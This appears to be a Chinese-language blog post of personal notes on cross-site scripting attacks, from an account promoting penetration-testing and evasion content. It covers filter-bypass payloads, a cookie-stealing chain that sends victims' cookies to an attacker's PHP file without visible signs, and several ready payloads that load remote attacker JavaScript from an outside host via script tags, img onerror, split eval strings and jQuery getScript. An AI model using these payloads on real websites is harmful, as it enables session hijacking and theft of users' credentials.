欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注
因为工作和学习中会不断遇到新的知识,为了避免重复制造轮子,所以这就是一个“记忆工厂”了。
一、三种XSS的小不同
反射型只能用一次,不会存在数据库里面。
DOM型查看源码看不到注入的恶意js语句,反射型和存储型可以。
二、浏览器不同会导致js语句被编码(所以测试的时候多换浏览器)
三、浏览器可以设置关闭XSS defender机制,该机制会防御xss
以IE为例:
四、火狐默认没法测DOM型XSS,会编码
五、通过js加载php的链式攻击手段(不会立刻在浏览器端回显,隐蔽攻击)
举个例子:
比方说我先写一个js,这个js能够加载恶意php木马,然后我用xss注入实现了这个js的执行,就会加载这个恶意的php----------攻击链:浏览器端加载js脚本——>js脚本运行php木马——>实现恶意功能
js的意思是“加载一个不可见的图片,获取当前网页的cookie信息并解码,然后赋值给xss.php这个恶意php文件的joke参数”
xss.php的内容是:新建一个joke.php文件,把cookie写入,,这样不会弹窗,不会被容易地发现。
然后在浏览器端存在xss漏洞的地方输入:<script src="http://ip/xss.js"></script>
然后我们打开joke文件,发现cookie在里面了……
六、XSS Platform搭建
XSS平台搭建(xsser.me)_码农致富的博客-CSDN博客_xss平台搭建
七、绕过技巧(这个随着做题的增加会不断更新)
1.大小写
2.双写 <script<script>>alert(1);</sc</script>ript>
3.换标签 不用script用别的标签如img,iframe等:<img src=a οnerrοr=alert(1)>
4.禁用alert <img src="1" οnerrοr="confirm('xss')">
5.js输出 这个需要网页<script>下自带变量才可以,比如自带a变量,那就可以用;闭合前一句话,然后alert(1)// payload为: ”;alert($a)//
6、绕过htmlentities htmlentities()默认是不转义单引号的, ’;alert($a)//
7、dom型hash绕过 比如有的网站为了安全方便会设置锚点# ,有了这样语句document.write(location.hash.substring(1)); 这个语句有漏洞,取锚点#后面的一个
hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
substring 从#开始截取后面的部分
payload为:直接在锚点后加入js语句即可
8、XSS出现在URL里面 因为用了PHPself属性:$_SERVER['PHP_SELF']
通过先闭合“”构成payload,然后提交触发之。这个实战我个人觉得没用条件太苛刻。
9、编码绕过 <script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script> 比如开了gpc。。。
10、绕过htmlspecialchars XSS绕过之PHP htmlspecialchars() 函数_Yoo_666的博客-CSDN博客_htmlspecialchars绕过
八、XSS攻击手段
这个其实有很多的,注意:攻击手段和用途不同,用途是指窃取cookie、钓鱼、窃取键盘敲击记录等功能,而攻击手段则是使得恶意js语句被网页加载的方法 简单来说几种常用的吧
1、最直接的在xss漏洞触发处写上:<script src=http://www.xsstools.com/amER></script> 其中http://www.xsstools.com/amER这里面的内容是任意能够实现窃取cookie,钓鱼,窃取键盘敲击记录等功能的代码
通过src属性加载这个js语句,从而实现恶意功能。
2、<img>标签:<img src=x οnerrοr=document.body.appendChild(document.createElement('script')).src='//www.xsstools.com/amER'>
3、注意,有时候攻击语句太长会被限制,,比如说2中的<img>标签方法,在留言板等可能出现存储型XSS的地方太长了可能会被限制
4、拼接分段payload绕过对某些特定字符长度的限制,比如限制script 那我们就s+c+ript: 其实这个思路可以绕过很多长度限制:CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_OceanSec的博客-CSDN博客
<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://www.'</script>
<script>z=z+'xsstools'</script>
<script>z=z+'.com/a'</script>
<script>z=z+'mER></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>
5、jQuery方法:<script>$.getScript("//www.xsstools.com/amER");</script>